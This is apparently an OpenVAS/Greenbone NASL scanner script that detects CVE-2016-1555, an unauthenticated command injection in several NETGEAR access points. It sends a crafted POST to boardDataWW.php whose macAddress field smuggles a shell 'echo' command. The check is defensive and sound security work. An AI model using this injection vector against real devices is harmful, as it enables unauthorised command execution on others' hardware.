NETGEAR Devices RCE Vulnerability

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.141741");
  script_version("2023-07-20T05:05:18+0000");
  script_tag(name:"last_modification", value:"2023-07-20 05:05:18 +0000 (Thu, 20 Jul 2023)");
  script_tag(name:"creation_date", value:"2018-11-29 16:44:57 +0700 (Thu, 29 Nov 2018)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-04-16 18:00:00 +0000 (Tue, 16 Apr 2019)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2016-1555");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("NETGEAR Devices RCE Vulnerability");

  script_category(ACT_GATHER_INFO);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_netgear_wnap_consolidation.nasl");
  script_mandatory_keys("netgear_wnap/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Several Netgear devices include unauthenticated webpages that pass form input
directly to the command-line, allowing for a command injection attack in 'boardData102.php', 'boardData103.php',
'boardDataJP.php', 'boardDataNA.php, and 'boardDataWW.php'.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"solution", value:"See the referenced vendor advisory for a solution.");

  script_xref(name:"URL", value:"https://kb.netgear.com/30480/CVE-2016-1555-Notification");
  script_xref(name:"URL", value:"https://seclists.org/fulldisclosure/2016/Feb/112");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/150478/Netgear-Unauthenticated-Remote-Command-Execution.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

cpe_list = make_list("cpe:/o:netgear:wn604",
                     "cpe:/o:netgear:wn802",
                     "cpe:/o:netgear:wnap210",
                     "cpe:/o:netgear:wnap320",
                     "cpe:/o:netgear:wndap350",
                     "cpe:/o:netgear:wndap360",
                     "cpe:/o:netgear:wndap660");

if (!infos = get_app_port_from_list(cpe_list: cpe_list, service: "www"))
  exit(0);

cpe  = infos["cpe"];
port = infos["port"];

if (!get_app_location(cpe: cpe, port: port, nofork: TRUE))
  exit(0);

check = rand_str(length: 12, charset: 'ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz');

url = '/boardDataWW.php';
data = 'macAddress=b8628e0712f2%3becho%20' + check + '%3b&reginfo=1&writeData=Submit';
headers = make_array("Content-Type", "application/x-www-form-urlencoded");

req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ "^HTTP/1\.[01] 200" && egrep(pattern: check, string: res)) {
  report = 'It was possible to inject data into ' + http_report_vuln_url(port: port, url: url, url_only: TRUE) + '.';
  security_message(port: port, data: report);
  exit(0);
}

exit(99);